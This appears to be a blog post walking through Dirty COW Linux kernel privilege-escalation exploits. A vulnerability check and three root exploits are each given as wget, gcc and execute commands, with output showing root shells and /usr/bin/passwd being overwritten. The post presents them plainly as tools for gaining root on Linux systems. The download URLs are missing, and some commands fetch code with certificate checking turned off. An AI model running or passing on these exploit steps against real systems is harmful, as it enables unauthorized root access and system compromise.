Since the public release of the dirtyc0w exploit, many POC's have been developed in this regard. In case you want to use these exploits, you must first check if the system is vulnerable.

Checking if you are Vulnerable

Execute the following command on your server to check if you are vulnerable:

wget -O pokemon.c --no-check-certificate  
echo pikachu|sudo tee pokeball;ls -l pokeball;sudo gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball  

This will result in something like this :

palash.o@server [~]# ./d pokeball miltank  
   (o o)_____/                             
    @@ `     \                            
     \ ____, /miltank                          
     //    //                              
    ^^    ^^                               
mmap c5095000  
palash.o@server [~]# cat pokeball  

Once you know that the server is vulnerable, we have a long range of scripts to get the root access.

Exploit 1:

wget -O test.c --no-check-certificate  
gcc -pthread test.c -o testing  
./testing 0
[*] let make some c0ws dirty
[+] ok we have some dirty things going on

Exploit 2:

wget -O cowroot.c --no-check-certificate;  
gcc cowroot.c -o cowroot -pthread;  
[palash.o@server ~]$ ./cowroot 
DirtyCow root privilege escalation  
Backing up /usr/bin/passwd to /tmp/bak  
Size of binary: 30768  
Racing, this may take a while..  
thread stopped  
thread stopped  
root@server:# id  
* uid=0(root) gid=1000(foo) groups=1000(foo)

Exploit 3:

wget -O c0w.c --no-check-certificate;  
gcc -pthread c0w.c  -o c0w;  
[palash.o@server ~]$ ./c0w

   (o o)_____/                             
    @@ `     \                            
     \ ____, //usr/bin/passwd                          
     //    //                              
    ^^    ^^                               
DirtyCow root privilege escalation  
Backing up /usr/bin/passwd to /tmp/bak  
mmap fd6b000

madvise 0

ptrace 0

[root@server]# whoami 
[root@server]# id
uid=0(root) gid=501(foo) groups=501(foo)  

With these exploits, you can easily gain root access on the linux based systems. There are many more exploits out there, which work on various distributions and use different approaches. Feel free to comment down below if you find something which readers can gain from.